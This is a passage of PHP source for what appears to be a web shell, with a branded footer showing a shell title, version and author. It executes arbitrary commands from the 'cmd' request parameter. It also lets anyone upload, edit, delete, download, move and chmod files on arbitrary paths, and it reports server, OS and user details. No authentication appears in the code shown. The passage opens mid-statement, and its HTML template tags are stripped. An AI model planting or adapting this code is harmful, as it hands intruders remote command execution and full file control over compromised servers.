= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getFileList($dir) { $files = []; if (is_dir($dir)) { $scan = scandir($dir); foreach ($scan as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . '/' . $item; $files[] = [ 'name' => $item, 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => is_file($path) ? filesize($path) : 0, 'size_human' => is_file($path) ? formatSize(filesize($path)) : '-', 'perm' => substr(sprintf('%o', fileperms($path)), -4), 'modified' => date('Y-m-d H:i:s', filemtime($path)) ]; } } usort($files, function($a, $b) { if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']); return ($a['type'] == 'dir') ? -1 : 1; }); return $files; } function generateKey($length = 32) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $key = ''; for ($i = 0; $i < $length; $i++) { $key .= $characters[random_int(0, strlen($characters) - 1)]; } return $key; } // ==================== HANDLE REQUEST ==================== $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : (isset($_GET['cmd']) ? $_GET['cmd'] : ''); $cmd_output = ''; $message = ''; $generated_key = ''; // Execute command if ($cmd) { $cmd_output = executeCommand($cmd); } // Generate key if (isset($_POST['generate_key'])) { $key_length = isset($_POST['key_length']) ? (int)$_POST['key_length'] : 32; $generated_key = generateKey($key_length); $message = "✅ Key generated successfully!"; } // Handle file upload if (isset($_POST['upload'])) { $target = $current_dir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $message = "✅ Upload success: " . $_FILES['file']['name']; } else { $message = "❌ Upload failed!"; } } // Handle file delete if (isset($_GET['delete'])) { $file = $_GET['delete']; if (file_exists($file) && is_file($file)) { unlink($file); $message = "✅ Deleted: " . basename($file); } elseif (is_dir($file)) { rmdir($file); $message = "✅ Directory deleted: " . basename($file); } } // Handle file edit if (isset($_POST['save_file'])) { $file = $_POST['file_path']; $content = $_POST['file_content']; if (file_put_contents($file, $content)) { $message = "✅ File saved: " . basename($file); } } // Handle file create if (isset($_POST['create_file'])) { $file = $current_dir . '/' . $_POST['filename']; if (!file_exists($file)) { file_put_contents($file, $_POST['file_content'] ?? ''); $message = "✅ File created: " . $_POST['filename']; } } // Handle directory create if (isset($_POST['create_dir'])) { $dir = $current_dir . '/' . $_POST['dirname']; if (!file_exists($dir)) { mkdir($dir, 0755, true); $message = "✅ Directory created: " . $_POST['dirname']; } } // Handle download if (isset($_GET['download'])) { $file = $_GET['download']; if (file_exists($file) && is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Handle copy if (isset($_POST['copy_file'])) { $src = $_POST['copy_source']; $dst = $current_dir . '/' . $_POST['copy_dest']; if (file_exists($src)) { copy($src, $dst); $message = "✅ Copied: " . basename($src) . " -> " . $_POST['copy_dest']; } } // Handle move if (isset($_POST['move_file'])) { $src = $_POST['move_source']; $dst = $current_dir . '/' . $_POST['move_dest']; if (file_exists($src)) { rename($src, $dst); $message = "✅ Moved: " . basename($src) . " -> " . $_POST['move_dest']; } } // Handle chmod if (isset($_POST['chmod_file'])) { $file = $_POST['chmod_target']; $perm = intval($_POST['chmod_perm'], 8); if (file_exists($file)) { chmod($file, $perm); $message = "✅ Permission changed: " . basename($file) . " to " . $_POST['chmod_perm']; } } // Get file list $files = getFileList($current_dir); // Get system info $sys_info = [ 'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A', 'php_version' => phpversion(), 'user' => get_current_user(), 'os' => php_uname(), 'memory_limit' => ini_get('memory_limit'), 'upload_max' => ini_get('upload_max_filesize') ]; $edit_file = isset($_GET['edit']) ? $_GET['edit'] : null; $file_content = $edit_file && file_exists($edit_file) ? file_get_contents($edit_file) : ''; ?>
= htmlspecialchars($cmd_output) ?>
Server: = $sys_info['server'] ?>
PHP: = $sys_info['php_version'] ?>
User: = $sys_info['user'] ?>
Memory Limit: = $sys_info['memory_limit'] ?>
Upload Max: = $sys_info['upload_max'] ?>
= $shell_title ?> v= $shell_version ?> | By = $shell_author ?> 🔥
Current Path: = htmlspecialchars($current_dir) ?>